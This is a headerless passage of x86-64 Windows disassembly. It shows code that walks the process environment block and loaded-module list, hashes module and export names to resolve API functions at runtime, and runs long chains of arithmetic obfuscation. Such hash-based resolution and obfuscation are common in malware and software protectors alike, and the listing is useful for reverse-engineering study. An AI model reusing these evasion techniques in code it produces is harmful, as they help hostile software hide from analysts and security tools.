mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d7a13
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xe597f05e
jmp 0x1401d7a05
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d79e4
cmp r10d, edi
jne 0x1401d7b52
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d7b52
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d7b52
mov r8d, dword [rbx + 0x20]
dec esi
mov r9d, esi
lea rdx, [r10 + rsi*4]
mov r11d, dword [rdx + r8]
add r11, r10
mov edx, 0xe597f05e
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
je 0x1401d7aa0
mov r10d, edx
movsx r8d, r8b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
jne 0x1401d7a67
mov dword [rsp + 0x30], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x30]
mov r9d, esi
cmp edx, dword [rsp + 0xd8]
je 0x1401d7ab6
test esi, esi
mov r8d, dword [rbx + 0x20]
jne 0x1401d7a44
jmp 0x1401d7b52
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1401d7b5a
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x1401d7b5a
mov eax, 0xe597f05e
mov edi, eax
mov edx, eax
mov dword [rsp + 0xd8], eax
jmp 0x1401d7b0a
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d7af2
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d7b41
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d7b1b
mov dword [rsp + 0xd8], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1401d79b8
mov rcx, qword [rsp + 0x1b8]
call r8
mov dword [rsp + 0xec], r13d
mov dword [rsp + 0xec], 0xb843949f
mov eax, dword [rsp + 0xec]
add eax, 0x3359fab5
xor eax, 0x9009c55e
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x59ff9cee
xor eax, 0x45733711
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd5cbed1b
add eax, ecx
xor eax, 0x2d6dd813
add eax, 0x43c53f5f
xor eax, 0x5f8f5d07
lea edx, [rcx - 0x6b2e3078]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8cd663e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x273299c1
add ecx, 0x4e0c1058
add ecx, edx
xor ecx, 0x9f1122be
mov dword [rsp + 0xec], ecx
movsxd rax, ecx
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0xec], r13d
lea rcx, [rsp + 0x380]
call fcn.140054dd8
mov ebx, r13d
mov edi, 0x525a2fce
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d7c8a
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x4b6a5c66
jmp 0x1401d7c7c
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d7c5f
cmp r9d, ebx
jne 0x1401d7d1b
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401d7d1b
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1401d7d1b
mov r8d, dword [r11 + 0x20]
dec esi
mov edx, esi
mov qword [rsp + 0x48], rdx
lea rdx, [r8 + rsi*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, 0x4b6a5c66
mov r8b, byte [r10]
add r10, r14
test r8b, r8b
je 0x1401d7d0f
mov r9d, edx
movsx r8d, r8b
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, r9d
mov r9d, edx
imul r9d, r8d
mov r8b, byte [r10]
add r10, r14
test r8b, r8b
jne 0x1401d7cdc
mov dword [rsp + 0x30], r9d
mov r9, qword [rax + 0x30]
mov edx, dword [rsp + 0x30]
cmp edx, edi
je 0x1401d7d23
test esi, esi
mov r8d, dword [r11 + 0x20]
jne 0x1401d7cb5
mov rax, qword [rax]
jmp 0x1401d7c33
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
mov r8, qword [rsp + 0x48]
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1401d7daf
lea rax, [r11 + rcx]
cmp r8, rax
jae 0x1401d7daf
mov ebx, 0x4b6a5c66
mov edi, ebx
jmp 0x1401d7d71
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d7d59
jmp 0x1401d7d8f
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d7d7a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d7d1b
mov dword [rsp + 0x104], r13d
mov dword [rsp + 0x104], 0x48355396
mov eax, dword [rsp + 0x104]
add eax, 0x9d3d1daf
xor eax, 0xb3042f41
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x493d4657
xor eax, 0xf1e8878b
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xeb101b22
add eax, ecx
xor eax, 0x8ca6c42e
sub eax, 0x37078c19
xor eax, 0x12ca7c71
lea edx, [rcx + 0x3d3e283]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xc274f2ca
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x3d8b0d35
add ecx, 0x1f00704e
add ecx, edx
xor ecx, 0x283885d2
mov dword [rsp + 0x104], ecx
movsxd rcx, ecx
call r8
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x104], r13d
movabs rbx, 0x9a4cdd84f67ac7d
mov qword [rsp + 0x48], rbx
movabs r8, 0xd211b04c9fa86d59
mov qword [rsp + 0x80], r8
movabs rax, 0x750000000000000
mov rsi, qword [0x1402b2088]
imul rsi, rax
movabs rax, 0xed90000000000000
xor rsi, rax
mov rcx, rsi
imul rcx, r8
mov qword [rsp + 0x50], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rsi
and r9, r8
lea rdi, [0x1402b2060]
imul r9, qword [rdi + rcx*8]
movabs rax, 0x6cdbd80fa6f162ae
imul r9, rax
shr r9, 3
movabs rax, 0xba074088f47099b3
xor r9, rax
movabs rax, 0xffffff57e166bff5
mov r8, rsi
imul r8, rax
add r8, 0x145d02c6
xor r8, r9
xor r8, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rcx, 0xb9de928be8d500d4
imul rax, rcx
not rax
and r8, rax
ror r8, 0x3c
shr r8, 8
mov qword [rsp + 0x40], r8
movabs rcx, 0x2dee4fb3605792a7
add rcx, rsi
xor rcx, 0xffffffffd65b0bd9
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x4c2e23e88fd36c18
mov r11, qword [rdi + rcx*8]
imul r11, rax
movabs rdx, 0x2dee4fb3605792a7
sub r11, rdx
movabs rcx, 0x33813d265210c1d4
mov rax, r9
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov rax, r11
xor rax, rsi
mov qword [rsp + 0x70], rax
lea rcx, [r11 + rdx]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [rdi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xc5
and ecx, 0x8000003f
jge 0x1401d7ff0
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, qword [rsp + 0x70]
ror rax, cl
not rax
imul rax, r9
mov qword [rsp + 0x70], rax
imul rax, rax, 0x145d02c6
mov qword [rsp + 0x68], rax
movabs r10, 0x2dee4fb3605792a7
add r10, rax
mov rdx, r11
imul rdx, r8
sub rdx, r10
xor rdx, rbx
movzx eax, r10b
mov dword [rsp + 0x30], eax
xor eax, 0xfffffffa
and eax, 0xf
mov edi, 0x40
mov ecx, edi
sub ecx, eax
mov rbx, rdx
shr rbx, cl
mov ecx, eax
shl rdx, cl
or rbx, rdx
mov rax, r10
sub rax, qword [0x1402b2078]
xor rbx, rax
movabs rcx, 0xa55e1d3d7a7444d6
mov rax, qword [rsp + 0x70]
imul rax, rcx
movabs rcx, 0x4fbff37c4184e8f1
sub rax, rcx
xor rbx, rax
xor rbx, r9
xor rbx, rsi
mov rax, rbx
and rax, r14
xor rax, 2
je 0x1401d846b
sub rax, 1
je 0x1401d8306
sub rax, 1
je 0x1401d81d8
cmp rax, 1
jne 0x1401d852d
mov rcx, r10
imul rcx, r11
movabs rax, 0x677b02a322e060d3
add rax, rbx
xor rcx, rax
ror rcx, 6
shr rcx, 0xc
xor rcx, rsi
not rcx
mov qword [rsp + 0x48], rcx
movabs rdx, 0x83570a240ed2
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0x2d6ccacb2168bcf3
xor r8, rax
mov eax, ebx
imul eax, ecx
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db952c4e22d
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
movabs rax, 0xd211b04c9fa86d59
imul rcx, rax
mov eax, 0x831f30c7
add rcx, rax
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x1402b2060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs rax, 0xd512fe766948fb0a
sub rax, qword [rsp + 0x48]
shr rax, cl
mov qword [rsp + 0x80], rax
movabs rcx, 0x2df6743bd1f2d2b3
add rcx, qword [rsp + 0x68]
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rbx
lea rdx, [0x1402b2060]
imul rax, qword [rdx + rcx*8]
imul rax, rbx
mov r8, qword [rsp + 0x40]
sub rax, r8
xor qword [rsp + 0x80], rax
jmp 0x1401d852d
movabs rax, 0xaaaaaa1a8306cdf9
mov rcx, rbx
xor rcx, rax
movabs rax, 0x1206ed410b11b5
imul rcx, rax
movabs rdx, 0xfff17ca85464fb85
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8aa516ff25
mov rdx, qword [rsp + 0x68]
imul rdx, rax
movabs r11, 0xf213a9810a2d8a48
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be51d61a99
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, r11
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffffd6531b29
lea eax, [rbx - 5]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov r10, rdx
shr r10, cl
mov ecx, eax
shl rdx, cl
or r10, rdx
movabs rcx, 0xf7978a7940abee67
mov rax, qword [rsp + 0x50]
xor rax, rcx
movabs rcx, 0x7c7a7dc6bf541198
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x19
not rcx
movabs rax, 0x9b2de6b278ea62f8
imul rcx, rax
mov rax, r11
sub rax, r10
lea r8, [rcx + rax*4]
mov eax, dword [rsp + 0x40]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
movabs rax, 0xd211b04c9fa86d59
imul rdx, rax
mov qword [rsp + 0x80], rdx
mov r8, qword [rsp + 0x40]
jmp 0x1401d852d
movabs rax, 0xc862bf63cd5ec7cb
imul rbx, rax
movabs rax, 0xd79435e50d79435f
mul rbx
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, bl
sub cl, dl
movabs rdx, 0x2dee4fb3605792a6
mov rax, rsi
imul rax, rdx
movabs rdx, 0x9a4cdd84f67ac7d
xor rax, rdx
not rax
shl rax, cl
xor rax, r9
mov edx, dword [rsp + 0x30]
and edx, 0x3f
mov ecx, edi
sub ecx, edx
mov r9, rax
shr r9, cl
mov ecx, edx
shl rax, cl
or r9, rax
movabs rcx, 0x2dee4fb3605792a7
add rcx, rbx
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff04c9fa86d59
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7dfc2bbd4
or r9, rax
mov rcx, qword [0x1402b2070]
movabs rax, 0x9a4cdd84f67ac7d
imul rcx, rax
sub rcx, r10
mov rax, r8
sub rax, r9
xor rcx, rax
movabs rax, 0xc7a7c6a68ecabbd9
xor rcx, rax
mov qword [rsp + 0x80], rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, qword [rsp + 0x80]
div rcx
mov rcx, rdx
mov rdx, rbx
imul rdx, r10
imul rdx, qword [rsp + 0x80]
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rsi
movabs rsi, 0x78958944198f7c3
add rsi, rax
xor rsi, r8
movzx eax, r11b
imul ecx, eax, 0xfc
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1401d852d
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, rbx
imul rax, qword [0x1402b2080]
lea rdx, [0x1402b2060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9d, 0x3f
mov eax, r9d
mov ecx, edi
sub ecx, r9d
mov r9, rdx
shl r9, cl
mov ecx, eax
shr rdx, cl
or r9, rdx
imul r9, r10
not r8
imul r8, r11
movabs rax, 0x7cd8a7de533bea38
imul r8, rax
mov rax, r9
imul rax, rsi
mov rsi, r8
xor rsi, rax
imul r8, qword [0x1402b2060], 0x145d02c6
mov rdx, qword [0x1402b2068]
sub r8, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d8518
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror r8, cl
movabs rax, 0x2dee4fb3605792a7
add r8, rax
add r8, qword [rsp + 0x68]
movabs rax, 0xff055d7ba370e0f5
mov rcx, qword [rsp + 0x48]
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
xor r9, rsi
lea rax, [0x1402b2060]
imul r9, qword [rax + rcx*8]
not r10
imul r10, rbx
imul r10, r8
imul r10, qword [rsp + 0x80]
movabs rcx, 0xf5ed7e87a4c3aa29
xor rcx, r11
not rcx
xor rcx, r10
sub rcx, r9
call fcn.14016e8e4
mov qword [0x1402b3158], rax
mov rax, qword gs:[8]
mov qword [0x1402b31f8], rax
xor eax, eax
mov byte [rsp + 0x59], al
lea rcx, [rsp + 0x59]
call fcn.1401b8d98
xor eax, eax
mov byte [rsp + 0x5a], al
lea rcx, [rsp + 0x5a]
call fcn.1401b980c
nop
jmp 0x1401d85e7
lea rbx, [0x1402b2060]
movabs r10, 0xaaaaaaaaaaaaaaab
movabs rax, 0xe4e4a3e3576cfa2c
mov qword [rsp + 0x48], rax
movabs rax, 0x98350e45c0000000
movabs r8, 0xd575d5c7d6e96d25
mov r11, qword [0x1402b2060]
imul r11, rax
movabs rax, 0xcfbc61d870000000
xor r11, rax
mov rcx, r11
imul rcx, r8
mov qword [rsp + 0x80], rcx
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
and r9, r8
imul r9, qword [rbx + rcx*8]
movabs rax, 0x82102afa11013bb0
imul r9, rax
shr r9, 3
movabs rax, 0x23e637c285672cda
xor r9, rax
movabs rax, 0xffffff57efaa6cab
mov rsi, r11
imul rsi, rax
sub rsi, 0x39dca9bc
xor rsi, r9
xor rsi, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rcx, 0xb9de928be619d38a
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x1e
shr rsi, 8
movabs rcx, 0x2a8a2a38291692db
add rcx, r11
xor rcx, 0xffffffffd897d887
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xd98fa17463cc8178
mov rbx, qword [rbx + rcx*8]
imul rbx, rax
movabs rdx, 0x2a8a2a38291692db
sub rbx, rdx
movabs rcx, 0xdf30ee660d439170
mov rax, r9
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r10, rbx
xor r10, r11
lea rcx, [rbx + rdx]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
lea rdx, [0x1402b2060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x9b
and ecx, 0x8000003f
jge 0x1401d877b
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror r10, cl
not r10
imul r10, r9
mov qword [rsp + 0x50], r10
imul rax, r10, 0xffffffffc6235644
mov qword [rsp + 0x40], rax
movabs rdx, 0x2a8a2a38291692db
add rdx, rax
mov qword [rsp + 0x70], rdx
mov r10, rbx
imul r10, rsi
sub r10, rdx
movabs rax, 0xe4e4a3e3576cfa2c
xor r10, rax
movzx ecx, dl
mov dword [rsp + 0x30], ecx
xor ecx, 4
and ecx, 0xf
jge 0x1401d87d7
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
rol r10, cl
mov rax, rdx
sub rax, qword [0x1402b2078]
xor r10, rax
movabs rcx, 0x3cbf6a770aba6bd4
mov rax, qword [rsp + 0x50]
imul rax, rcx
movabs rcx, 0x673ba728481d78a7
add rax, rcx
xor r10, rax
xor r10, r9
xor r10, r11
mov rax, r10
and rax, r14
je 0x1401d8bd4
sub rax, 1
je 0x1401d8a7d
sub rax, 1
je 0x1401d8955
cmp rax, 1
jne 0x1401d8c98
mov rcx, rdx
imul rcx, rbx
movabs rax, 0x16c0450b1deb9e49
add rax, r10
xor rcx, rax
ror rcx, 0x24
shr rcx, 0xc
xor rcx, r11
not rcx
mov qword [rsp + 0x48], rcx
movabs rdx, 0x835704e8dd90
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0x2a08af4066e56fd1
xor r8, rax
mov eax, ecx
imul eax, r10d
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db95c083173
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
movabs rax, 0xd575d5c7d6e96d25
imul rcx, rax
mov eax, 0x8dd3e399
add rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x1402b2060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs r8, 0x94ace704208a023a
sub r8, qword [rsp + 0x48]
shr r8, cl
movabs rax, 0x2a924ec0a86e2631
mov rcx, qword [rsp + 0x40]
add rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
lea rdx, [0x1402b2060]
imul rax, qword [rdx + rcx*8]
imul rax, r10
sub rax, rsi
xor r8, rax
jmp 0x1401d8c98
movabs rax, 0xaaaaaa1a8dca1ea7
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed4fc7c2eb
imul rcx, rax
movabs rdx, 0xfff17ca85aa828db
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8aabda2c7b
mov rdx, qword [rsp + 0x40]
imul rdx, rax
movabs rbx, 0x568073f5a26e5fb4
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be5f1ac9c7
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, rbx
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffffd89fc877
lea eax, [r10 - 0x1b]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov r8, rdx
shr r8, cl
mov ecx, eax
shl rdx, cl
or r8, rdx
movabs rcx, 0x1412608220000000
mov rax, qword [rsp + 0x80]
xor rax, rcx
movabs rcx, 0x7c7a7dc6b198c2c6
and rax, rcx
imul r8, rax
mov qword [rsp + 0x70], r8
mov rcx, r8
ror rcx, 0x16
not rcx
movabs rax, 0x9b2de6b243d92f80
imul rcx, rax
mov rax, rbx
sub rax, r8
lea r8, [rcx + rax*4]
mov eax, esi
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or r8, rdx
movabs rax, 0xd575d5c7d6e96d25
imul r8, rax
jmp 0x1401d8c98
movabs rax, 0x933eb42bb77910ed
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x2a8a2a38291692da
mov rax, r11
imul rax, rdx
movabs rdx, 0xe4e4a3e3576cfa2c
xor rax, rdx
not rax
shl rax, cl
xor r9, rax
mov eax, dword [rsp + 0x30]
and eax, 0x8000003f
jge 0x1401d8ae2
sub eax, r14d
or eax, 0xffffffc0
add eax, r14d
mov cl, al
rol r9, cl
movabs rcx, 0x2a8a2a38291692db
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x15c7d6e96d25
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7d10e688a
or r9, rax
mov r8, qword [0x1402b2070]
movabs rax, 0xe4e4a3e3576cfa2c
imul r8, rax
sub r8, qword [rsp + 0x70]
mov rax, rsi
sub rax, r9
xor r8, rax
movabs rax, 0xc7a7c6a680066887
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, qword [rsp + 0x70]
imul rdx, r8
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, r11
movabs r11, 0x78958944f54249d
add r11, rax
xor r11, rsi
movzx eax, bl
imul ecx, eax, 0xe2
and cl, 0x3f
rol r11, cl
not r11
jmp 0x1401d8c98
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r10
imul rax, qword [0x1402b2080]
lea rdx, [0x1402b2060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9d, 0x3f
mov eax, r9d
mov ecx, edi
sub ecx, r9d
mov r9, rdx
shl r9, cl
mov ecx, eax
shr rdx, cl
or r9, rdx
imul r9, qword [rsp + 0x70]
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de5df73966
imul rsi, rax
mov rax, r9
imul rax, r11
mov r11, rsi
xor r11, rax
imul rsi, qword [0x1402b2060], 0xffffffffc6235644
mov rdx, qword [0x1402b2068]
sub rsi, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d8c83
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror rsi, cl
movabs rax, 0x2a8a2a38291692db
add rsi, rax
add rsi, qword [rsp + 0x40]
movabs rax, 0xff055d7badbc33ab
mov rcx, qword [rsp + 0x48]
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
xor r9, r11
lea rax, [0x1402b2060]
imul r9, qword [rax + rcx*8]
mov rax, qword [rsp + 0x70]
not rax
imul rax, r10
imul rax, rsi
imul rax, r8
movabs rcx, 0xf5ed7e87aa0f7977
xor rcx, rbx
not rcx
xor rcx, rax
sub rcx, r9
call fcn.14016ef80
mov qword [0x1402b3170], rax
xor eax, eax
mov byte [rsp + 0x5f], al
lea rcx, [rsp + 0x5f]
call fcn.1401c03dc
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x208]
call fcn.1401ccc94
movabs r8, 0xf477851ed1d26c62
movabs r10, 0x5d0b5a26de9c6775
mov qword [rsp + 0x48], r10
movabs rax, 0x6ca0000000000000
mov rbx, qword [0x1402b2070]
imul rbx, rax
movabs rax, 0x6150000000000000
xor rbx, rax
mov rcx, rbx
imul rcx, r10
mov qword [rsp + 0x80], rcx
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rbx
and r9, r10
lea rsi, [0x1402b2060]
imul r9, qword [rsi + rcx*8]
movabs rax, 0x501b05c1da138ad4
imul r9, rax
shr r9, 3
movabs rax, 0x6c0a4b980cfe026e
xor r9, rax
movabs rax, 0xffffff57e110c739
mov rcx, rbx
imul rcx, rax
sub rcx, 0x6edb4076
xor rcx, r9
xor rcx, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rdx, 0xb9de928be8a37818
imul rax, rdx
not rax
and rcx, rax
ror rcx, 0x1c
shr rcx, 8
mov qword [rsp + 0x50], rcx
movabs rcx, 0xa2f4a5d92163988b
add rcx, rbx
xor rcx, 0xffffffffd62d7315
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbb93e308fd04b370
mov rsi, qword [rsi + rcx*8]
imul rsi, rax
add rsi, r10
movabs rcx, 0x2de0791259fbdb28
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov rax, rsi
xor rax, rbx
mov qword [rsp + 0x30], rax
movabs r10, 0xa2f4a5d92163988b
lea rcx, [rsi + r10]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
lea rdx, [0x1402b2060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 9
and ecx, 0x8000003f
jge 0x1401d8ecc
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rdx, qword [rsp + 0x30]
ror rdx, cl
not rdx
imul rdx, r9
imul rax, rdx, 0xffffffff9124bf8a
mov qword [rsp + 0x40], rax
lea r11, [rax + r10]
mov r10, rsi
imul r10, qword [rsp + 0x50]
sub r10, r11
xor r10, r8
movzx ecx, r11b
mov dword [rsp + 0x30], ecx
xor ecx, 6
and ecx, 0xf
jge 0x1401d8f13
sub ecx, r14d
or ecx, 0xffffffc0
